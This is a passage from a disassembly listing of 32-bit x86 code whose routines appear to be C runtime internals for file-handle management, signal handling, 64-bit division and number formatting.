					; sub_40A730+111j
		mov	eax, [ebp+arg_4]
		mov	edx, esi
		sub	edx, eax
		mov	eax, edx
		cmp	eax, [ebp+arg_8]
		jb	loc_40A7B2
		jmp	short loc_40A8AD
; ---------------------------------------------------------------------------


loc_40A864:				; CODE XREF: sub_40A730+6Dj
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		mov	eax, [eax+edx]
		push	eax
		call	dword_411E08
		test	eax, eax
		jz	short loc_40A8A4
		mov	[ebp+var_10], 0
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		jmp	short loc_40A8AD
; ---------------------------------------------------------------------------


loc_40A8A4:				; CODE XREF: sub_40A730+163j
		call	dword_411CE8
		mov	[ebp+var_10], eax


loc_40A8AD:				; CODE XREF: sub_40A730+113j
					; sub_40A730+11Ej ...
		cmp	[ebp+var_C], 0
		jnz	short loc_40A913
		cmp	[ebp+var_10], 0
		jz	short loc_40A8DB
		cmp	[ebp+var_10], 5
		jnz	short loc_40A8CC
		call	sub_408460
		mov	dword ptr [eax], 9
		jmp	short loc_40A8D6
; ---------------------------------------------------------------------------


loc_40A8CC:				; CODE XREF: sub_40A730+18Dj
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_408300
		pop	ecx


loc_40A8D6:				; CODE XREF: sub_40A730+19Aj
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A919
; ---------------------------------------------------------------------------


loc_40A8DB:				; CODE XREF: sub_40A730+187j
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		test	byte ptr [eax+edx+4], 40h
		jz	short loc_40A903
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jnz	short loc_40A903
		xor	eax, eax
		jmp	short loc_40A919
; ---------------------------------------------------------------------------


loc_40A903:				; CODE XREF: sub_40A730+1C5j
					; sub_40A730+1CDj
		call	sub_408460
		mov	dword ptr [eax], 1Ch
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A919
; ---------------------------------------------------------------------------


loc_40A913:				; CODE XREF: sub_40A730+181j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_4]


loc_40A919:				; CODE XREF: sub_40A730+22j
					; sub_40A730+1A9j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40A730	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A920	proc near		; CODE XREF: sub_408D60+79p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_413A88
		jnb	short loc_40A94B
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_40A95B


loc_40A94B:				; CODE XREF: sub_40A920+Ej
		call	sub_408460
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A97E
; ---------------------------------------------------------------------------


loc_40A95B:				; CODE XREF: sub_40A920+29j
		push	ebx
		call	sub_40AD40
		pop	ecx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	sub_40A730
		add	esp, 0Ch
		mov	esi, eax
		push	ebx
		call	sub_40ADA0
		pop	ecx
		mov	eax, esi


loc_40A97E:				; CODE XREF: sub_40A920+39j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40A920	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A990	proc near		; CODE XREF: DMN0:loc_40ACEAp
					; sub_40B9A0:loc_40BB9Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		or	edi, 0FFFFFFFFh
		push	4
		call	sub_408800
		pop	ecx
		xor	esi, esi


loc_40A9A6:				; CODE XREF: sub_40A990+128j
		cmp	dword_413988[esi*4], 0
		jz	loc_40AA5D
		mov	ebx, dword_413988[esi*4]
		jmp	loc_40AA42
; ---------------------------------------------------------------------------


loc_40A9C0:				; CODE XREF: sub_40A990+C0j
		test	byte ptr [ebx+4], 1
		jnz	short loc_40AA3F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_40A9EF
		push	3
		call	sub_408800
		pop	ecx
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_40A9E7
		lea	eax, [ebx+0Ch]
		push	eax
		call	dword_411CC8
		inc	dword ptr [ebx+8]


loc_40A9E7:				; CODE XREF: sub_40A990+48j
		push	3
		call	sub_408880
		pop	ecx


loc_40A9EF:				; CODE XREF: sub_40A990+3Aj
		lea	eax, [ebx+0Ch]
		push	eax
		call	dword_411CCC
		test	byte ptr [ebx+4], 1
		jz	short loc_40AA0B
		lea	eax, [ebx+0Ch]
		push	eax
		call	dword_411CD0
		jmp	short loc_40AA3F
; ---------------------------------------------------------------------------


loc_40AA0B:				; CODE XREF: sub_40A990+6Dj
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	eax, esi
		shl	eax, 5
		mov	[ebp+var_4], eax
		mov	edx, dword_413988[esi*4]
		mov	ecx, ebx
		sub	ecx, edx
		mov	eax, ecx
		push	eax
		mov	edx, 38E38E39h
		imul	edx
		pop	eax
		shr	eax, 1Fh
		sar	edx, 3
		add	eax, edx
		mov	edx, [ebp+var_4]
		lea	edi, [eax+edx]
		jmp	short loc_40AA56
; ---------------------------------------------------------------------------


loc_40AA3F:				; CODE XREF: sub_40A990+34j
					; sub_40A990+79j
		add	ebx, 24h


loc_40AA42:				; CODE XREF: sub_40A990+2Bj
		mov	eax, dword_413988[esi*4]
		add	eax, 480h
		cmp	ebx, eax
		jb	loc_40A9C0


loc_40AA56:				; CODE XREF: sub_40A990+ADj
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40AAB4
		jmp	short loc_40AABE
; ---------------------------------------------------------------------------


loc_40AA5D:				; CODE XREF: sub_40A990+1Ej
		push	480h
		call	sub_408260
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_40AABE
		mov	dword_413988[esi*4], ebx
		add	dword_413A88, 20h
		jmp	short loc_40AA96
; ---------------------------------------------------------------------------


loc_40AA7E:				; CODE XREF: sub_40A990+114j
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	byte ptr [ebx+5], 0Ah
		mov	dword ptr [ebx+8], 0
		add	ebx, 24h


loc_40AA96:				; CODE XREF: sub_40A990+ECj
		mov	eax, dword_413988[esi*4]
		add	eax, 480h
		cmp	ebx, eax
		jb	short loc_40AA7E
		mov	edi, esi
		shl	edi, 5
		push	edi
		call	sub_40AD40
		pop	ecx
		jmp	short loc_40AABE
; ---------------------------------------------------------------------------


loc_40AAB4:				; CODE XREF: sub_40A990+C9j
		inc	esi
		cmp	esi, 40h
		jl	loc_40A9A6


loc_40AABE:				; CODE XREF: sub_40A990+CBj
					; sub_40A990+DCj ...
		push	4
		call	sub_408880
		pop	ecx
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40A990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AAD0	proc near		; CODE XREF: sub_408E40+5Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_413A88
		jnb	loc_40AB5F
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		add	eax, edx
		test	byte ptr [eax+4], 1
		jz	short loc_40AB5F
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_40AB5F
		test	ebx, ebx
		jz	short loc_40AB15
		cmp	ebx, 1
		jz	short loc_40AB24
		cmp	ebx, 2
		jz	short loc_40AB33
		jmp	short loc_40AB40
; ---------------------------------------------------------------------------


loc_40AB15:				; CODE XREF: sub_40AAD0+37j
		push	0
		push	0FFFFFFF6h
		call	dword_411E0C
		jmp	short loc_40AB40
; ---------------------------------------------------------------------------


loc_40AB24:				; CODE XREF: sub_40AAD0+3Cj
		push	0
		push	0FFFFFFF5h
		call	dword_411E0C
		jmp	short loc_40AB40
; ---------------------------------------------------------------------------


loc_40AB33:				; CODE XREF: sub_40AAD0+41j
		push	0
		push	0FFFFFFF4h
		call	dword_411E0C


loc_40AB40:				; CODE XREF: sub_40AAD0+43j
					; sub_40AAD0+52j ...
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	dword ptr [edx+eax], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_40AB6D
; ---------------------------------------------------------------------------


loc_40AB5F:				; CODE XREF: sub_40AAD0+Bj
					; sub_40AAD0+2Bj ...
		call	sub_408460
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_40AB6D:				; CODE XREF: sub_40AAD0+8Dj
		pop	ebx
		retn
sub_40AAD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AB70	proc near		; CODE XREF: DMN0:0040AD0Cp
					; sub_40B9A0+2B4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_413A88
		jnb	loc_40AC01
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		cmp	dword ptr [edx+eax], 0FFFFFFFFh
		jnz	short loc_40AC01
		test	ebx, ebx
		jz	short loc_40ABAE
		cmp	ebx, 1
		jz	short loc_40ABC0
		cmp	ebx, 2
		jz	short loc_40ABD2
		jmp	short loc_40ABE2
; ---------------------------------------------------------------------------


loc_40ABAE:				; CODE XREF: sub_40AB70+30j
		mov	eax, [esp+4+arg_4]
		push	eax
		push	0FFFFFFF6h
		call	dword_411E0C
		jmp	short loc_40ABE2
; ---------------------------------------------------------------------------


loc_40ABC0:				; CODE XREF: sub_40AB70+35j
		mov	eax, [esp+4+arg_4]
		push	eax
		push	0FFFFFFF5h
		call	dword_411E0C
		jmp	short loc_40ABE2
; ---------------------------------------------------------------------------


loc_40ABD2:				; CODE XREF: sub_40AB70+3Aj
		mov	eax, [esp+4+arg_4]
		push	eax
		push	0FFFFFFF4h
		call	dword_411E0C


loc_40ABE2:				; CODE XREF: sub_40AB70+3Cj
					; sub_40AB70+4Ej ...
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	ecx, [esp+4+arg_4]
		mov	[edx+eax], ecx
		xor	eax, eax
		jmp	short loc_40AC0F
; ---------------------------------------------------------------------------


loc_40AC01:				; CODE XREF: sub_40AB70+Bj
					; sub_40AB70+2Cj
		call	sub_408460
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_40AC0F:				; CODE XREF: sub_40AB70+8Fj
		pop	ebx
		retn
sub_40AB70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AC20	proc near		; CODE XREF: sub_408E40+Cp
					; sub_408E40+25p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_413A88
		jnb	short loc_40AC61
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jz	short loc_40AC61
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	eax, [edx+eax]
		jmp	short loc_40AC6F
; ---------------------------------------------------------------------------


loc_40AC61:				; CODE XREF: sub_40AC20+Bj
					; sub_40AC20+26j
		call	sub_408460
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_40AC6F:				; CODE XREF: sub_40AC20+3Fj
		pop	ebx
		retn
sub_40AC20	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+4]
		push	eax
		call	sub_40AC20
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebx
		push	esi
		push	edi
		xor	bl, bl
		test	byte ptr [esp+14h], 8
		jz	short loc_40AC9F
		or	bl, 20h


loc_40AC9F:				; CODE XREF: DMN0:0040AC9Aj
		test	word ptr [esp+14h], 4000h
		jz	short loc_40ACAB
		or	bl, 80h


loc_40ACAB:				; CODE XREF: DMN0:0040ACA6j
		test	byte ptr [esp+14h], 80h
		jz	short loc_40ACB5
		or	bl, 10h


loc_40ACB5:				; CODE XREF: DMN0:0040ACB0j
		mov	eax, [esp+10h]
		push	eax
		call	dword_411DEC
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40ACD8
		call	dword_411CE8
		push	eax
		call	sub_408300
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_40AD31
; ---------------------------------------------------------------------------


loc_40ACD8:				; CODE XREF: DMN0:0040ACC4j
		cmp	edi, 2
		jnz	short loc_40ACE2
		or	bl, 40h
		jmp	short loc_40ACEA
; ---------------------------------------------------------------------------


loc_40ACE2:				; CODE XREF: DMN0:0040ACDBj
		cmp	edi, 3
		jnz	short loc_40ACEA
		or	bl, 8


loc_40ACEA:				; CODE XREF: DMN0:0040ACE0j
					; DMN0:0040ACE5j
		call	sub_40A990
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40AD06
		call	sub_408460
		mov	dword ptr [eax], 18h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40AD31
; ---------------------------------------------------------------------------


loc_40AD06:				; CODE XREF: DMN0:0040ACF4j
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	sub_40AB70
		add	esp, 8
		or	bl, 1
		mov	eax, esi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, esi
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	[edx+eax+4], bl
		mov	eax, esi


loc_40AD31:				; CODE XREF: DMN0:0040ACD6j
					; DMN0:0040AD04j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AD40	proc near		; CODE XREF: sub_408EE0+3Ap
					; sub_40A920+3Cp ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	esi, [edx+eax]
		cmp	dword ptr [esi+8], 0
		jnz	short loc_40AD86
		push	3
		call	sub_408800
		pop	ecx
		cmp	dword ptr [esi+8], 0
		jnz	short loc_40AD7E
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_411CC8
		inc	dword ptr [esi+8]


loc_40AD7E:				; CODE XREF: sub_40AD40+2Fj
		push	3
		call	sub_408880
		pop	ecx


loc_40AD86:				; CODE XREF: sub_40AD40+21j
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_411CCC
		pop	esi
		pop	ebx
		retn
sub_40AD40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40ADA0	proc near		; CODE XREF: sub_408EE0+4Ap
					; sub_40A920+56p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+0Ch]
		push	eax
		call	dword_411CD0
		pop	ebx
		retn
sub_40ADA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40ADD0	proc near		; DATA XREF: sub_40AE10+A4o
					; sub_44D131+A4o
		push	ebx
		push	1
		push	2
		call	sub_40AE10
		add	esp, 8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40ADEB
		test	ebx, ebx
		jnz	short loc_40ADEF


loc_40ADEB:				; CODE XREF: sub_40ADD0+15j
		xor	eax, eax
		jmp	short loc_40AE0A
; ---------------------------------------------------------------------------


loc_40ADEF:				; CODE XREF: sub_40ADD0+19j
		cmp	ebx, 1
		jz	short loc_40AE05
		push	0
		push	2
		call	sub_40AE10
		add	esp, 8
		push	2
		call	ebx
		pop	ecx


loc_40AE05:				; CODE XREF: sub_40ADD0+22j
		mov	eax, 1


loc_40AE0A:				; CODE XREF: sub_40ADD0+1Dj
		pop	ebx
		retn	4
sub_40ADD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE10	proc near		; CODE XREF: sub_409260+18p
					; sub_409260+3Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jle	short loc_40AE2E
		cmp	ebx, 2Ch
		jge	short loc_40AE2E
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jnz	short loc_40AE36


loc_40AE2E:				; CODE XREF: sub_40AE10+Ej
					; sub_40AE10+13j
		or	eax, 0FFFFFFFFh
		jmp	loc_40AEE6
; ---------------------------------------------------------------------------


loc_40AE36:				; CODE XREF: sub_40AE10+1Cj
		cmp	ebx, 4
		jz	short loc_40AE45
		cmp	ebx, 8
		jz	short loc_40AE45
		cmp	ebx, 0Bh
		jnz	short loc_40AEA4


loc_40AE45:				; CODE XREF: sub_40AE10+29j
					; sub_40AE10+2Ej
		call	sub_409150
		mov	[ebp+var_8], eax
		mov	eax, [eax+34h]
		cmp	eax, offset dword_4117E4
		jnz	short loc_40AE85
		push	0B0h
		call	sub_408260
		pop	ecx
		mov	edx, [ebp+var_8]
		mov	[edx+34h], eax
		test	eax, eax
		jz	short loc_40AE80
		mov	eax, [ebp+var_8]
		mov	edi, [eax+34h]
		mov	esi, offset dword_4117E4
		mov	ecx, 2Ch
		rep movsd
		jmp	short loc_40AE85
; ---------------------------------------------------------------------------


loc_40AE80:				; CODE XREF: sub_40AE10+5Aj
		or	eax, 0FFFFFFFFh
		jmp	short loc_40AEE6
; ---------------------------------------------------------------------------


loc_40AE85:				; CODE XREF: sub_40AE10+45j
					; sub_40AE10+6Ej
		mov	eax, ebx
		shl	eax, 2
		mov	edx, [ebp+var_8]
		mov	ecx, [edx+34h]
		mov	ecx, [ecx+eax]
		mov	[ebp+var_4], ecx
		mov	edx, [edx+34h]
		mov	ecx, [ebp+arg_4]
		mov	[edx+eax], ecx
		mov	eax, [ebp+var_4]
		jmp	short loc_40AEE6
; ---------------------------------------------------------------------------


loc_40AEA4:				; CODE XREF: sub_40AE10+33j
		cmp	ebx, 2
		jnz	short loc_40AED2
		cmp	dword_41189C, 0
		jnz	short loc_40AED2
		push	1
		push	offset sub_40ADD0
		call	dword_411E10
		test	eax, eax
		jnz	short loc_40AEC8
		or	eax, 0FFFFFFFFh
		jmp	short loc_40AEE6
; ---------------------------------------------------------------------------


loc_40AEC8:				; CODE XREF: sub_40AE10+B1j
		mov	dword_41189C, 1


loc_40AED2:				; CODE XREF: sub_40AE10+97j
					; sub_40AE10+A0j
		lea	eax, ds:4117E4h[ebx*4]
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		mov	edx, [ebp+arg_4]
		mov	[eax], edx
		mov	eax, [ebp+var_4]


loc_40AEE6:				; CODE XREF: sub_40AE10+21j
					; sub_40AE10+73j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AE10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AEF0	proc near		; CODE XREF: sub_407B60+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40AEF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AF00	proc near		; CODE XREF: DMN0:0040934Cp
					; sub_40B0C0+F3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_4]
		or	eax, eax
		jnz	short loc_40AF22
		mov	ecx, [esp+8+arg_0]
		mov	eax, [esp+8+arg_C]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_8]
		div	ecx
		mov	edx, ebx
		jmp	short loc_40AF63
; ---------------------------------------------------------------------------


loc_40AF22:				; CODE XREF: sub_40AF00+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		mov	eax, [esp+8+arg_8]


loc_40AF30:				; CODE XREF: sub_40AF00+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40AF30
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		mul	esi
		add	edx, ecx
		jb	short loc_40AF5E
		cmp	edx, [esp+8+arg_C]
		ja	short loc_40AF5E
		jb	short loc_40AF5F
		cmp	eax, [esp+8+arg_8]
		jbe	short loc_40AF5F


loc_40AF5E:				; CODE XREF: sub_40AF00+4Ej
					; sub_40AF00+54j
		dec	esi


loc_40AF5F:				; CODE XREF: sub_40AF00+56j
					; sub_40AF00+5Cj
		xor	edx, edx
		mov	eax, esi


loc_40AF63:				; CODE XREF: sub_40AF00+20j
		pop	esi
		pop	ebx
		retn	10h
sub_40AF00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF70	proc near		; CODE XREF: sub_409CF0+B3p
					; sub_409CF0+6E1p

var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		cmp	dword ptr [ebx+2Ch], 0
		jge	short loc_40AF8E
		mov	[ebp+var_64], 7FFFFFFFh
		jmp	short loc_40AF94
; ---------------------------------------------------------------------------


loc_40AF8E:				; CODE XREF: sub_40AF70+13j
		mov	eax, [ebx+2Ch]
		mov	[ebp+var_64], eax


loc_40AF94:				; CODE XREF: sub_40AF70+1Cj
		mov	eax, [ebp+var_64]
		mov	[ebp+var_4], eax
		movzx	eax, byte_4118A0
		mov	edx, [ebx+34h]
		add	eax, edx
		mov	[ebp+var_14], eax
		mov	[ebp+var_1C], 0
		mov	[ebp+var_18], 0
		test	word ptr [ebx+38h], 4
		jnz	short loc_40AFC5
		cmp	[ebp+var_14], 40h
		ja	short loc_40AFD4


loc_40AFC5:				; CODE XREF: sub_40AF70+4Dj
		lea	eax, [ebp+var_60]
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], 40h
		jmp	short loc_40AFED
; ---------------------------------------------------------------------------


loc_40AFD4:				; CODE XREF: sub_40AF70+53j
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_408260
		pop	ecx
		mov	[ebp+var_10], eax
		test	eax, eax
		jnz	short loc_40AFED
		or	eax, 0FFFFFFFFh
		jmp	loc_40B0B5
; ---------------------------------------------------------------------------


loc_40AFED:				; CODE XREF: sub_40AF70+62j
					; sub_40AF70+73j
		test	esi, esi
		jnz	short loc_40AFF6
		mov	esi, offset aNull ; "(null)"


loc_40AFF6:				; CODE XREF: sub_40AF70+7Fj
		mov	[ebp+var_20], 0
		jmp	short loc_40B07B
; ---------------------------------------------------------------------------


loc_40AFFF:				; CODE XREF: sub_40AF70+10Fj
		lea	eax, [ebp+var_1C]
		push	eax
		movzx	eax, word ptr [esi]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_40BFA0
		add	esp, 0Ch
		mov	edi, eax
		test	eax, eax
		jl	short loc_40B026
		cmp	word ptr [esi],	0
		jnz	short loc_40B02C
		dec	edi
		mov	eax, edi
		test	eax, eax
		jge	short loc_40B02C


loc_40B026:				; CODE XREF: sub_40AF70+A7j
		or	[ebp+var_20], 0FFFFFFFFh
		jmp	short loc_40B085
; ---------------------------------------------------------------------------


loc_40B02C:				; CODE XREF: sub_40AF70+ADj
					; sub_40AF70+B4j
		cmp	[ebp+var_4], edi
		jl	short loc_40B085
		mov	eax, [ebx+14h]
		add	eax, edi
		cmp	[ebp+var_14], eax
		jnb	short loc_40B056
		mov	dword ptr [ebx+34h], 0
		mov	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_40A430
		add	esp, 8
		mov	dword ptr [ebx+14h], 0


loc_40B056:				; CODE XREF: sub_40AF70+C9j
		push	edi
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebx+14h]
		mov	edx, [ebp+var_10]
		add	eax, edx
		push	eax
		call	sub_4076F0
		add	esp, 0Ch
		add	[ebx+14h], edi
		cmp	word ptr [esi],	0
		jz	short loc_40B085
		add	esi, 2
		sub	[ebp+var_4], edi


loc_40B07B:				; CODE XREF: sub_40AF70+8Dj
		cmp	[ebp+var_4], 0
		jg	loc_40AFFF


loc_40B085:				; CODE XREF: sub_40AF70+BAj
					; sub_40AF70+BFj ...
		mov	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_40A430
		add	esp, 8
		mov	dword ptr [ebx+34h], 0
		mov	dword ptr [ebx+14h], 0
		lea	eax, [ebp+var_60]
		cmp	eax, [ebp+var_10]
		jz	short loc_40B0B2
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_4071B0
		pop	ecx


loc_40B0B2:				; CODE XREF: sub_40AF70+136j
		mov	eax, [ebp+var_20]


loc_40B0B5:				; CODE XREF: sub_40AF70+78j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0C0	proc near		; CODE XREF: sub_409CF0+256p
					; sub_409CF0+3CAp ...

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 58h
		jnz	short loc_40B0D8
		mov	[ebp+var_34], offset a0123456789abcd ; "0123456789ABCDEF"
		jmp	short loc_40B0DF
; ---------------------------------------------------------------------------


loc_40B0D8:				; CODE XREF: sub_40B0C0+Dj
		mov	[ebp+var_34], offset a0123456789ab_0 ; "0123456789abcdef"


loc_40B0DF:				; CODE XREF: sub_40B0C0+16j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_24], eax
		cmp	[ebp+arg_4], 6Fh
		jnz	short loc_40B0F4
		mov	[ebp+var_38], 8
		jmp	short loc_40B10F
; ---------------------------------------------------------------------------


loc_40B0F4:				; CODE XREF: sub_40B0C0+29j
		mov	al, [ebp+arg_4]
		cmp	al, 78h
		jz	short loc_40B108
		cmp	al, 58h
		jz	short loc_40B108
		mov	[ebp+var_38], 0Ah
		jmp	short loc_40B10F
; ---------------------------------------------------------------------------


loc_40B108:				; CODE XREF: sub_40B0C0+39j
					; sub_40B0C0+3Dj
		mov	[ebp+var_38], 10h


loc_40B10F:				; CODE XREF: sub_40B0C0+32j
					; sub_40B0C0+46j
		mov	eax, [ebp+var_38]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 18h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		mov	al, [ebp+arg_4]
		cmp	al, 64h
		jz	short loc_40B135
		cmp	al, 69h
		jnz	short loc_40B15A


loc_40B135:				; CODE XREF: sub_40B0C0+6Fj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jg	short loc_40B15A
		jl	short loc_40B147
		test	eax, eax
		jnb	short loc_40B15A


loc_40B147:				; CODE XREF: sub_40B0C0+81j
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		neg	eax
		adc	edx, 0
		neg	edx
		mov	[ebp+var_30], eax
